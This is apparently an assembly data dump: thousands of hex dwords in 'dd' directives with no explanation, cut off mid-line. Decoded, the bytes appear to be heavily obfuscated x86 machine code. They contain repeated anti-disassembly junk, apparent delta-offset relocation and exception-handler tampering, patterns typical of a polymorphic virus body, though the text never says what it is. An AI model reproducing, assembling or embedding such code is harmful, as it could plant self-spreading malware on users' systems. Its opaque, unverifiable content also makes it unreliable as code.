18042444h, 45000000h, 4FF2C355h, 607B9926h dd 8D8BF560h, 6030039h, 51E86161h, 66000005h, 89983CBFh dd 3137585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0D486A664h, 0F303C862h, 13E899h dd 1F4C0000h, 0BFBDCCC2h, 9804750Fh, 0D07FA7B3h, 0EBBDE01Bh dd 258D8B6Ch, 5F06030Bh, 7D7BF66h, 10E860h, 67210000h dd 0C6EBDFA5h, 862FA62Fh, 0BBD581D3h, 8D0F3671h, 0 dd 0F99D235Ah, 61060303h, 4D7E8h, 71BD8B00h, 8906031Eh dd 3062585h, 9E806h, 1FD30000h, 0F906C3h, 897DC405h, 32C6D95h dd 0B05F06h, 0C820Fh, 8E0F0000h, 6, 840Fh, 0B60F0000h dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 44034B1Ch, 2960E131h, 3233995h, 3035B906h dd 6BA5AF7h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 916EC353h, 0B745AD00h dd 2185BD8Bh, 0C38B0603h, 0DE950h, 0F60A0000h, 6D881DDDh dd 3656A724h, 59530C9Bh, 6A04E8C1h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0D5AAC353h dd 80326D16h, 0F766C2F1h, 57006AE2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 7C0E7143h dd 71C75A48h, 2BFC406Ah, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 7080F5A0h, 895098BFh dd 6A241Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 415DFDC3h, 0D58D8B96h, 0FF060324h, 311A595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 449A3725h, 5E9642Eh, 35000000h, 331F6F6h dd 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0E37C9C8h, 892D576Ah, 304D595h, 0A9958D06h dd 6A06030Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 25FAC357h, 6D3ED502h, 89FE8B66h dd 13E91Ah, 0BD700000h, 6E0BB07Bh, 32FE5A59h, 0BB443D2Dh dd 628C4AE6h, 4289FC90h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0BD8941BBh, 603217Dh dd 958DEB8Ah, 6031A41h, 9F406CBFh, 6A1A8900h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0DFADC350h, 6870F63h, 89000000h, 30385BDh, 4428906h dd 0CE8h, 97356300h, 0ABFF9107h, 6DE5AB9h, 0DD8D89AEh dd 5F06032Dh, 2BD958Dh, 6A0603h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 893983C3h, 52006A1Ah dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0ED030293h, 6F9639EEh, 78C98166h, 72B96686h, 44289FBh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CDC35040h dd 0B809ED34h, 12C1AE4Ah, 0FBBF0F72h, 2401958Dh, 95890603h dd 60322DDh, 6A1A89h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 668358C3h, 4289F08Bh, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 2952F609h, 0D4087744h, 1C1D958Dh, 6A0603h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0E9D5DFC3h dd 614CD86Fh, 0E857D0EBh, 7, 0DE82EED4h, 1EB187Eh, 32F359Dh dd 1A895E06h, 76C68166h, 442897Fh, 10E883B5h, 85000000h dd 1B161B2Eh, 8E0801FEh, 0B99AAACBh, 898D4E4Bh, 30B65BDh dd 958D5F06h, 60321E1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 1C35343h, 0FFE5BFFh, 1381h, 0CE800h dd 57DB0000h, 6066CF34h, 0EDB9244Fh, 5EF8517Ch, 0FBB70F60h dd 30AD9D8Bh, 89610603h, 0E0B4601Ah, 4428961h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 93C35141h, 0DBCC130h dd 11BD8B8Bh, 8D06032Eh, 3255195h, 29DFBF06h, 1A8939F7h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0DFC35141h dd 7AED373Eh, 0B70F9C7Eh, 44289C8h, 6870Fh, 0B58B0000h dd 6031BD5h, 1959958Dh, 0BD2B0603h, 6031E59h, 32058D89h dd 1A890603h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0EC35747h, 0C0128FAFh, 0B589E71Eh, 6030C91h, 66FBB70Fh dd 89269BB9h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 45BA7DC3h, 61641FDEh, 3BE5553h dd 0E944263Eh, 0D5h, 68F0Fh, 95090000h, 60331A5h, 6850Fh dd 85890000h, 6031AF9h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 3F090AC3h, 8003BEADh dd 6A79D8h, 9FD8589h, 6A0603h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0F4C35242h, 6AF98Ah, 1275B589h dd 95FF0603h, 6031D59h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 1AC35242h, 4DCF6108h, 6AC38F05h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0DFABC351h, 71FDA791h, 890F8BA0h, 15h, 10E9h, 68780800h dd 0FFF415B2h, 3A827294h, 17EDC206h, 29C58ADEh, 325E995h dd 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 9DA2C356h, 0C14C38h, 0BD83527Dh dd 6031039h, 83097500h, 3111DBDh, 19740006h, 0C08B5350h dd 438B8h, 91858900h, 8D060323h, 5B0F89Dh, 5BD3FF06h, 1DBD8358h dd 60311h, 53501774h, 438B8h, 91858900h, 8D060323h, 5AD999Dh dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0F9581BE8h, 6A919A12h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 2350C355h, 0C8A0F07h, 0F000000h, 68Ah, 0F1850100h, 8B060310h dd 11858DC0h, 66060328h, 5090D98Bh, 0AE9h, 0FA36E700h dd 4C49BE58h, 90EE2180h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 15C35747h, 0C4B2BB66h, 9D89006Ah, 6031CCDh dd 9D8B006Ah, 6032E95h, 38F6858Dh, 6A0607h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 47A3DAC3h dd 89066372h, 3296995h, 5C08306h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 2DC35040h, 0DB81038Dh, 44FD3F60h dd 8B665090h, 958990DEh, 6032E69h, 880F006Ah, 6, 1AA1BD89h dd 6A0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 69C35646h, 0A69D586Fh, 0DE92Dh, 7D9E0000h, 0B86509D0h dd 9C424536h, 66F70DF0h, 0AB32E381h, 0CC995FFh, 6A0603h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 8BBF87C3h, 30225BDh, 6E906h, 55530000h, 7AFCBFF4h, 97478D8Dh dd 2EBB0606h, 0E8403C4Eh, 0Fh, 0BA9B74FAh, 0C02BA6F3h dd 6B6E0D71h, 5B164671h, 8166D1FFh, 8A92C9C3h, 91BD83FCh dd 106031Eh, 0B4850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 1F3BBAC3h, 80BE18FBh dd 0BD8B2AEBh, 6030F51h, 6A026Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0E8D7D1C3h dd 7902A16Ah, 948ACF81h, 89507AADh, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2C5908C3h dd 0CDC7667Ch, 68F0Fh, 0BD890000h, 603021Dh, 10BD8529h dd 95FF0603h, 6031CB1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 4DC35747h, 95988612h, 0B1E9FB8Bh, 0E800000Ch dd 0 dd 0ED815Dh, 6A060739h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0CDF8C351h, 68F324B9h dd 0F248BB66h, 36BF66FCh, 0FE91Ch, 71080000h, 1D935C5h dd 4B28C851h, 0F7211BEFh, 89858DACh, 80060688h, 50904EEBh dd 0B1D3BF66h, 25BB6690h, 35FF64ABh, 0 dd 0FA8B6657h, 0B589605Bh, 6031BB5h, 14BB66h, 25896461h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C3C35545h dd 0E781FE8Bh, 65CE1D04h, 2A1585FFh, 6A0603h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CBAEF4C3h dd 8D89968Ah, 6031D11h, 0DA8AFF6Ah, 0B5FFFE8Bh, 6031CF1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DDC35242h dd 353130A3h, 201595FFh, 48E90603h, 80000001h, 0FE915F3h dd 3A000000h, 0F2C55C7Eh, 0B82F18h, 224B3D8Ah, 0B0D3BEh dd 21C38166h, 8B70E631h, 31C819Dh, 0AE806h, 0B88F0000h dd 0FE5F70E0h, 0FA92707Dh, 2295BD8Bh, 0E45F0603h, 4D9D8B71h dd 3C060310h, 0FC830F61h, 8B000000h, 31355BDh, 0C8B60F06h dd 4D5B27BFh, 6BA14h, 8D290000h, 6030955h, 6060C18Bh, 8D0Fh dd 61600000h, 0EFC28161h, 61300664h, 0F904E8C1h, 0FE2F766h dd 1A87h, 11E800h, 5CEA0000h, 4AC343F1h, 86763347h, 93A34624h dd 0F9E5414h, 2B5FFBBFh, 0ED8D89C8h, 8B06032Dh, 0A19D8BD1h dd 0E906031Ah, 6, 27DB509h, 858B0603h, 6030FA9h, 0C083F88Bh dd 29B58907h, 8306030Fh, 11E800C0h, 7D000000h, 0DC4607B6h dd 22DB54BFh, 8D6829AEh, 9596EF10h, 0B859D8Bh, 3B5F0603h dd 0D830FD0h, 0B3000000h, 4DE9B5h, 0BD890000h, 6032A45h dd 31598D8Bh, 14E90603h, 59000000h, 6AE916C9h, 17482FA8h dd 19BEA893h, 8C968471h, 8308678Eh, 840F01E1h, 1Fh, 0A583F88Ah dd 6033159h, 986EBFFEh, 95897DCFh, 6030FA9h, 1F41BD8Bh dd 0E90603h, 8D000000h, 6BEA2B5h, 0E2816006h, 77BB5A01h dd 1FD5BD8Bh, 0F610603h, 6AFEB7h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 13C35747h, 5DDB8526h, 3953C55Fh dd 0B995FF41h, 6A06031Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 8529C356h, 148E954h dd 2485BD8Bh, 7FB90603h, 1000007h, 320FD95h, 0FCE18306h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C35747h dd 9974702Fh, 0F4B48549h, 9E9FC3Ch, 0F9000000h, 84AE97D6h dd 875BD615h, 0B8h, 8B666000h, 0AD8D89C1h, 61060329h, 6AD22Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 16F994C3h, 0EECFACD9h, 840F054Bh, 6, 1AA19D8Bh, 0B70F0603h dd 0C233ADDBh, 0D003E8D1h, 7504E983h, 55BD0BF4h, 66060313h dd 96A7D381h, 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0EFFC4265h, 0FE92E42h dd 6C000000h, 8E86F04Fh, 0C802F639h, 4B7C7F23h, 8D8906A3h dd 60324ADh, 31D1958Bh, 8BFC0603h, 301E18Dh, 9656BF06h dd 8B501F61h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 3810Fh, 0BF0F0000h, 0E59509FBh, 0F060310h, 281h, 83F88B00h dd 31D65BDh, 840F0006h, 85h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0F3C35747h, 0DA9E1FF8h, 0BB66DF6Ch dd 860FCEFEh, 14h, 0F7816660h, 8E951A6h, 4B000000h, 26CAFA38h dd 61518E6Eh, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 47EBAED4h, 2685D34Ah dd 1C8D8D57h, 8906034Dh, 3066DB5h, 0E9E1FF06h, 9, 0AAA21600h dd 5FB7498Bh, 0BDBD837Fh, 60321h, 3E1840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 1389A4C3h, 9D895884h, 60325D9h, 21BDBD83h, 0F010603h dd 3C984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 1DE6FBFh, 35F01EBBh, 6DBD233Bh, 83060330h dd 321BDBDh, 860F0306h, 35Ch, 25C59501h, 6A600603h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 6E3AC350h, 0A3DFED5Ah, 6666FD3Ah, 0FA8BD98Ch, 8904E180h dd 3024D95h, 0FC90A06h, 14D84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 8D936AA2h dd 57332619h, 5FDBB70Fh, 13C1858Bh, 6A0603h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0DC6683C3h dd 0DB8198DFh, 22F7B51Ch, 1C798533h, 890F0603h, 6, 9519D8Bh dd 0BE80603h, 26000000h, 8E3E682h, 4A396AD0h, 5FFC8D95h dd 505F5390h, 28F0Fh, 1BB70000h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0F99DC48h dd 18Eh, 6AF500h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 91C35646h, 878261E5h, 899D8B00h, 6806030Ch, 0BD189CFh dd 3481DE8Bh, 0CE8A3024h, 45BD230Bh, 0FF060301h, 3140595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 101B2003h, 0AFD17C6Dh, 89D98B66h, 6A73485h dd 3C44BF06h, 94E92B76h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FD4AC351h dd 0AC862EF6h, 0A09E05D2h, 1A498589h, 858B0603h, 606A72Ch dd 1D199D8Bh, 0C70603h, 18h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0C1C35040h, 0F677739h, 0B58BFFB7h dd 606A730h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0C9C35040h, 4F41F427h, 8D29C87Fh, 6032C31h, 128D858Bh dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 9CA592C3h, 2349CFBDh, 0ED9D014Eh, 8906031Ch dd 311B595h, 6A068906h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0C9B5C351h, 0AA0E771Ah dd 13C1858Bh, 0AE90603h, 37000000h, 430AFF2Ah, 1DD76C12h dd 446898Ah, 68E0Fh, 9D2B0000h, 60303DDh, 0D88B6696h, 1547BF50h dd 8096339Eh, 0B5FF9FCBh, 606A72Ch, 26099D89h, 84680603h dd 81FB05DDh, 267B2404h, 6A0519h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0B3BA03C3h, 34858D39h dd 0F0606A7h, 683h, 4DBD3300h, 56060310h, 489505Fh, 71BD8924h dd 0FF06032Ah, 3140595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0BA4ABC48h, 61DE8B6Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0FCC35343h dd 0BFFA118Ah, 783BEA28h, 21BD85C7h, 30603h, 0BD830000h dd 606A734h, 29840F00h, 0B3000000h, 3DE968h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0BD8BD4C3h, 60331FDh, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h dd 0E9831104h, 0EBE77504h, 81C08B00h, 52AD81CBh, 0CE873h dd 37F90000h, 0E9CADF3Eh, 0A22A3056h, 0BB6605F6h, 605B0F2Dh dd 2A298529h, 0B5030603h, 603208Dh, 0BDBD8361h, 3060321h dd 3C4850Fh, 8E90000h, 41000000h, 2535B99Ch, 83E5A2B3h dd 6A734BDh, 840F0006h, 3AAh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 45C35747h, 57BBE972h, 0FF4B9125h dd 6A734B5h, 95FFFC06h, 6032E05h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 7AC35343h, 0B1ADB47Ch, 0D0EDC5D9h dd 8166F9D9h, 29686EC3h, 30C8585h, 28B58B06h, 6A0606A7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0F0ADC356h, 8E8A7314h, 0B25C3D75h, 9E95050h dd 86000000h, 1A872C4Ah, 8C0BFE45h, 6C75B5Fh, 10001h, 125B589h dd 8B500603h, 243489DEh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 5EC35141h, 0E1286E78h, 9589D739h, 6031F11h dd 0A734B5FFh, 95FF0606h, 6032F19h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 38C35141h, 0BD097B2Dh, 6030B05h dd 0A728B58Bh, 46BB0606h, 8B26DEF0h, 3311D85h, 8957B306h dd 0C486h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 7F6A66E9h, 0EF8166BDh, 958BEF0Fh dd 60331D1h, 0E904C283h, 7, 6C26F834h, 89039B8Bh, 840F2050h dd 0Ch, 7E9h, 2F299F00h, 0BB6B4803h, 0BBF3858Dh, 6A0606h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0EE264AC3h, 1942B0BCh, 8689DCEDh, 0B8h, 0EECB8152h dd 5F45AFB5h, 11E8006Ah, 0B4000000h, 9453EA9Dh, 0B5DF6F66h dd 25AA1C3Dh, 0A415E232h, 5E9h, 0D4D36B00h, 0FF5B9059h dd 6A734B5h, 0B70F6006h, 11E9C8h, 484E0000h, 5AD703CCh dd 60DDEB4Ch, 134A875Ch, 61AA7B5Fh, 323DBD8Bh, 95FF0603h dd 6031CB1h, 108DB589h, 8B960603h, 0E96050FBh, 5, 4AD8DD13h dd 0F4CEBF4Eh, 96615174h, 0EE9h, 0D2B97300h, 0FE170D90h dd 0A9AA98E5h, 0FFEDA6DDh, 6A734B5h, 6800F06h, 8B000000h dd 305D59Dh, 6595FF06h, 0BB060311h, 5E594FE9h, 1795BD83h dd 0F000603h, 3584h, 0E9B50100h, 96060331h, 0DCE1EBBBh dd 8B665071h, 6A96DEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8B21D6C3h, 18C6BBDEh, 0B5FF5813h dd 606A734h, 12F5B509h, 95FF0603h, 6030661h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0FC35242h, 0C3FC76B9h dd 0BE9CDh, 824E0000h, 141AD47Eh, 71088A9Dh, 34B5FFC5h dd 6A0606A7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 898CC357h, 313D58Dh, 0E195FF06h dd 8306030Ah, 3218DBDh, 840F0206h, 7Ah, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 0E2C35040h, 8A0FD4BBh dd 6, 1B7D8D89h, 858B0603h, 60301FDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 26C35545h, 0D7C1ED5Ch, 0C6F91A18h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 5BFA8BC3h, 0E38166ABh, 85C79887h, 60330B9h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 7AC35141h dd 0A7C0D1C7h, 45E9F8E2h, 0F8FFFFF4h, 6AC18Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 513BA4C3h, 95014BA2h, 6032511h, 2811858Dh, 0BD8B0603h dd 6031C51h, 1422BF50h, 489659Bh, 69BD8B24h, 6A06030Bh dd 19958900h, 6A060302h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8D12C53Ch, 7470085h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0C083ECD2h, 0D7816605h, 9589EAADh, 6032815h, 850F50h dd 89000000h, 0DA8B2404h, 840F006Ah, 6, 1079BD03h, 6A0603h dd 4AE42ABFh, 0D9BD8B57h, 0FF060322h, 30CC995h, 0FE906h dd 83DC0000h, 0C20B8414h, 0D3EE8780h, 583A14A9h, 478D8DFEh dd 89060697h, 32949BDh, 6AD1FF06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 33DEC353h dd 32395BDh, 91BD8306h, 106031Eh, 62850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 6095FFC3h, 87B272E4h, 6A9E9C70h, 60509002h, 0C1B86656h dd 90615EDCh, 520A32BFh, 0B195FF03h, 6A06031Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 8CAAC351h, 34CC2BC2h, 0EDB390A2h, 0DA2E9h, 0E800h, 815D0000h dd 7470AEDh, 81665006h, 5F16CEF3h, 8DDBB70Fh, 6888985h dd 0E5852906h, 9006031Ah, 50D98B66h, 5959BF66h, 6810F90h dd 8B000000h, 3125D9Dh, 35FF6406h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0B1C35141h dd 7E9h, 410C9100h, 7D9F1637h, 258964h, 8B000000h, 1585FFD9h dd 6A06032Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0B9BC351h, 6060772Bh, 0C5D8D89h dd 860F0603h, 0 dd 0C1816661h, 6A61A238h, 0FAB70FFFh, 13E9B5FFh, 9D2B0603h dd 6030C09h, 201595FFh, 47E90603h, 2B000001h, 312919Dh dd 0F00B006h, 0C87h, 68A0F00h, 89000000h, 3097DB5h, 0E970E606h dd 11h, 0FE95455Bh, 0D922DCDBh, 1C54A250h, 90560913h, 8171E4C1h dd 4F9BE0DFh, 0F613C5Fh, 10583h, 0F5F5100h, 0EBFC8B6h dd 0BA24C580h, 6, 2CDBD8Bh, 0C18B0603h, 1E799D8Bh, 0E8C10603h dd 0FEB70F04h, 25599D23h, 0F7660603h, 39C380E2h, 8BF5C82Bh dd 9D8B56D1h, 6032A69h, 0BE95Fh, 0BD8B0000h, 6031255h dd 83470BBBh, 41858B54h, 0F06031Ah, 0F52FAB7h, 284h, 5B616000h dd 5207C083h, 0FE8h, 891BD700h, 38BA3E98h, 0B530C7B3h dd 0B6B160A8h, 570DC781h, 5F5B550Bh, 5000C083h, 4810Fh dd 0BF660000h, 3B5BF567h, 25830FD0h, 8B000000h, 3325DBDh dd 0EE806h, 0CF250000h, 7C29041h, 0E4E90812h, 17DA4B75h dd 50E95Fh, 0EB810000h, 20D194C2h, 13AD8D8Bh, 0BD8B0603h dd 6032EB1h, 0E183FB8Bh, 33840F01h, 0E9000000h, 11h, 4952D6FAh dd 0E59EB0C8h, 0A765F78h, 0CEB40704h, 0ADA58357h, 0FE060313h dd 0B199D8Bh, 95890603h, 6031A41h, 4CD38166h, 0E9A0h, 0B58D0000h dd 606C7F5h, 6A8BCB80h, 0AE900h, 6F780000h, 8A484CF1h dd 80EEE2F5h, 1FB995FFh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 9BCF1FC3h, 4D3B4037h dd 60C8EB39h, 0EAC98160h, 894BBFF8h, 31E2D8Dh, 0C5806106h dd 0BBB961B6h, 6A00000Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0DC72C350h, 0F96B162Bh dd 89BD8B33h, 8306031Bh, 0BE9FCE1h, 10000000h, 99B9B82Eh dd 0A5DE2B64h, 6AFC3710h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 81F5C352h, 0AA5FFFD7h dd 68C0F1Ah, 89000000h, 31449BDh, 6AC02B06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0B785C350h, 0FFD56DCBh, 2BFE8BCFh, 55006AD2h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 60EBD100h, 0A07A079Ah, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D5C35747h dd 892CECAFh, 32C45BDh, 0DE8B6606h, 4A1EBB66h, 880Dh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 958B6E36h, 60331D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 31C35747h, 75A799FAh, 8B59182Ch, 301E18Dh dd 81B50906h, 5006031Ch, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 0CE958h, 0FAED0000h, 7F83B52Dh, 5D639F9Ch dd 0E2BF04D7h, 830B509Ch, 31D65BDh, 840F0006h, 41h, 0F6FE94BBh dd 0B87Eh, 0BD090000h, 6031CBDh, 4D1C8D8Dh, 6A0603h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 6F47F6C3h, 9D8BE1FFh, 603038Dh, 0DACB8166h, 0BDBD83F0h dd 60321h, 4E0840Fh, 0BD830000h, 60321BDh, 0EE840F01h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 3C6CC353h, 6DCE6A5Fh, 3595BB66h dd 1151B531h, 0BD830603h, 60321BDh, 80860F03h, 89000004h dd 31AF19Dh, 6A6006h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 98AF01C3h, 0CE874h, 2C980000h, 0DDF5872Dh dd 1E05529Ah, 0FB8BA892h, 0D98C665Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 1EC35646h, 0BE4E6ADFh, 3E88B867h dd 0F04E180h, 0BD89DEB7h, 60305EDh, 840FC90Ah, 15Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 28C35747h, 6E8EF50Eh dd 0DF8B6666h, 13C1858Bh, 0B2600603h, 58C0F85h, 66000000h dd 0E0CCE881h, 79853361h, 6A06031Ch, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A14BC351h dd 43004711h, 0BF6690C0h, 0E85036F2h, 11h, 958815BEh, 0D7BDF4C3h dd 0C4F2D964h, 0AF493370h, 0FE8B6690h, 830F905Fh, 6, 2481BD89h dd 6A0603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0D5C35545h, 96CEC5B0h, 4E8C966h, 0FF000000h, 53001F03h dd 11E956h, 0BCEA0000h, 8C14ABECh, 3B15C384h, 0A0680680h dd 5BB46D18h, 448B505Fh, 66560424h, 8B5FDE8Bh, 66606000h dd 11E8CE8Bh, 99000000h, 42521991h, 1854CEF3h, 9A6C27F1h dd 0B05A33EBh, 0F88B615Ah, 24448961h, 9D8B5804h, 6030159h dd 95FFD98Bh, 6031405h, 13A1BD89h, 0BF560603h, 0ACC7B29h dd 3485895Fh, 8B0606A7h, 322919Dh, 258E906h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0CEE992C3h, 0A121DD32h, 60BE470Fh, 8B61C18Bh, 6A72C85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0D28372A7h, 2B362662h, 399D0B30h, 0C7060323h dd 1800h, 0D8BF0F00h, 0A730B58Bh, 6A0606h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0B9053FC3h dd 49135C2Ch, 8B7AF74Fh, 3128D85h, 55006A06h, 3E8h, 